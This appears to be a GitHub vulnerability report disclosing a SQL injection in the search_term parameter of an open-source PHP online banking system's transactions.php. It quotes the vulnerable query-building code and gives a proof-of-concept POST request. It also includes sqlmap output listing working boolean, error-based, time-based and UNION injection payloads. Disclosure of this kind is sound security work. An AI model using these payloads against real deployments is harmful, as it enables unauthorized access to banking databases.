

main ▾

...

BugReport / online-banking-system / sql\_injection6.md



0clickjacking0 新增漏洞分析文章

History

1 contributor

86 lines (74 sloc) | 3.19 KB

...

## Vulnerability file address

net-banking/transactions.php from line 28,The \$\_POST['search\_term'] parameter is controllable, the parameter search\_term can be passed through post, and the \$\_POST['search\_term'] is not protected from sql injection, line 170 \$result = \$conn->query(\$sql0); made a sql query,resulting in sql injection

```
.....
.....
.....
```

```
if (isset($_POST['search_term'])) {
    $_SESSION['search_term'] = $_POST['search_term'];
}
if (isset($_POST['date_from'])) {
    $_SESSION['date_from'] = $_POST['date_from'];
}
if (isset($_POST['date_to'])) {
    $_SESSION['date_to'] = $_POST['date_to'];
}
```

```
// Filter indicator variable
$filter_indicator = "None";
```

```
// Queries when search is set
if (!empty($_SESSION['search_term'])) {
    $sql0 .= " WHERE remarks COLLATE latin1_GENERAL_CI LIKE '%".$_SESSION['searc
```

```

$filter_indicator = "Remarks";

if (!empty($_SESSION['date_from']) && empty($_SESSION['date_to'])) {
    $sql0 .= " AND trans_date > '". $_SESSION['date_from']."' 00:00:00";
    $filter_indicator = "Remarks & Date From";
}
if (empty($_SESSION['date_from']) && !empty($_SESSION['date_to'])) {
    $sql0 .= " AND trans_date < '". $_SESSION['date_to']."' 23:59:59";
    $filter_indicator = "Remarks & Date To";
}
if (!empty($_SESSION['date_from']) && !empty($_SESSION['date_to'])) {
    $sql0 .= " AND trans_date BETWEEN '". $_SESSION['date_from']."' 00:00:00'
    $filter_indicator = "Remarks, Date From & Date To";
}
}

// Queries when search is not set
if (empty($_SESSION['search_term'])) {
    if (!empty($_SESSION['date_from']) && empty($_SESSION['date_to'])) {
        $sql0 .= " WHERE trans_date > '". $_SESSION['date_from']."' 00:00:00";
        $filter_indicator = "Date From";
    }
    if (empty($_SESSION['date_from']) && !empty($_SESSION['date_to'])) {
        $sql0 .= " WHERE trans_date < '". $_SESSION['date_to']."' 23:59:59";
        $filter_indicator = "Date To";
    }
    if (!empty($_SESSION['date_from']) && !empty($_SESSION['date_to'])) {
        $sql0 .= " WHERE trans_date BETWEEN '". $_SESSION['date_from']."' 00:00:0
        $filter_indicator = "Date From & Date To";
    }
}
}
.....
.....
.....

<?php
    $result = $conn->query($sql0);
.....
.....
.....

```

## POC

POST /net-banking/transactions.php?cust\_id=1 HTTP/1.1

Host: www.bank.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Fi

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 12

search\_term=' AND (SELECT 5964 FROM (SELECT(SLEEP(5)))doHk)-- TErM

## Attack results pictures

```
[21:18:42] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'  
[21:18:52] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable  
[21:18:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'  
[21:18:52] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential  
) technique found  
[21:18:52] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query co  
lums. Automatically extending the range for current UNION query injection technique test  
[21:18:52] [INFO] target URL appears to have 6 columns in query  
[21:18:52] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable  
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N  
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:  
---  
Parameter: #1* ((custom) POST)  
  Type: boolean-based blind  
  Title: AND boolean-based blind - WHERE or HAVING clause  
  Payload: search_term=' AND 4916=4916-- CZGT  
  
  Type: error-based  
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
  Payload: search_term=' AND (SELECT 4027 FROM(SELECT COUNT(*),CONCAT(0x7162706a71,(SELECT (ELT(4027=4027,1))),0x71716b7171,FLOOR(  
RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- FAVd  
  
  Type: time-based blind  
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  Payload: search_term=' AND (SELECT 5964 FROM (SELECT(SLEEP(5)))doHk)-- TErM  
  
  Type: UNION query  
  Title: Generic UNION query (NULL) - 6 columns  
  Payload: search_term=' UNION ALL SELECT CONCAT(0x7162706a71,0x7a7445675743436c6977514e574d506867464e70646c7573526b444c467a485a66  
4a4b4756695173,0x71716b7171),NULL,NULL,NULL,NULL,NULL-- -  
---  
[21:18:53] [INFO] the back-end DBMS is MySQL  
web application technology: PHP 5.6.40, Nginx 1.21.2, PHP  
back-end DBMS: MySQL >= 5.0  
[21:18:54] [INFO] fetched data logged to text files under '/Users/xianyu123/.sqlmap/output/www.bank.net'  
  
[*] ending @ 21:18:54 /2022-09-04/
```